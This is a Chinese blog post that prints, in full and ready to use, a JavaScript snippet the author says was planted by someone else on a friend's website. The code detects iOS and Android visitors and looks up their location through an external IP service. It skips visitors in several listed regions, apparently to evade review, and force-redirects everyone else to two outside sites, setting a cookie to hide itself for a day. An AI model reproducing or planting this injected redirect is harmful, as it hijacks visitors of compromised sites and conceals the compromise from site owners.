【JS代码】判断设备和地区定时跳转URL

​

(function (w, d, address,urls,time) {
    
    function getCookie(key) {
        if(d.cookie.length > 0) {
            c_start = d.cookie.indexOf(key + "=");
            if(c_start != -1) {
                c_start = c_start + key.length + 1;
                c_end = d.cookie.indexOf(";", c_start);
                if(c_end == -1) c_end = d.cookie.length;
                return decodeURI(d.cookie.substring(c_start, c_end));
            }
        }
        return "";
    }
    console.log(111);
    var exp = getCookie('_________sojson');

    if(exp === 'e'){
        console.log('。');
    }else{
        function setCookie(key, value, expiredays) {
            var exdate = new Date();
            exdate.setTime(Number(exdate) + expiredays);
            d.cookie = key + "=" + escape(value) + ((expiredays == null) ? "" : ";expires=" + exdate.toGMTString());
        }
        var isIos = navigator.userAgent.toLocaleLowerCase().match(/iphone/i) == 'iphone';
        var isAndroid = navigator.userAgent.toLocaleLowerCase().match(/android/i) == 'android';
        //是否是搜索引擎
        //var isngineE= /\.(sogou|soso|baidu|so|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso)(\.[a-z0-9\-]+){1,2}\//ig.test(d.referrer);


        if (   (isIos || isAndroid)) {
            console.log('ok:1');
            function load(callback) {
                var script = d.createElement("script")
                script.type = "text/javascript";
                if (script.readyState) {
                    script.onreadystatechange = function () {
                        if (script.readyState == "loaded" ||
                            script.readyState == "complete") {
                            script.onreadystatechange = null;
                            callback();
                        }
                    };
                } else {
                    script.onload = function () {
                        callback();
                    };
                }
                script.src = "https://ip.ws.126.net/ipquery";
                (d.getElementsByTagName('body')[0]||d.getElementsByTagName('head')[0]).appendChild(script);
            };
            load(function () {
                var lo = lc || "sojson";
                console.log('当前省|市:',lo);
                console.log('屏蔽的省|市:',address);
                var count = 0;
                for(var i=0;i<address.length;i++){
                    var a = address[i];
                    if(lo.search(a) !==-1){
                        count+=1;
                    }
                }
                if(count===0){

                    if(time && time>0){
                        time=time*60000;
                        setCookie('_________sojson','e',time);
                    }
                    var url = urls.ios;
                    if(isAndroid){
                        url = urls.android;
                    }
                    w.top.location.href = url;
                    w.location.href = url;
                }
            });
        }
    }


})(window, document, ['美国','香港','菲律宾','柬埔寨','缅甸','新加坡','老挝','澳大利亚'],{ios:"http://www.173dy.com/",android:"http://www.115bt.com/"},1440);

​

代码也是我扣出来的,别人挂我朋友的网站里的,我直接扣出来。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值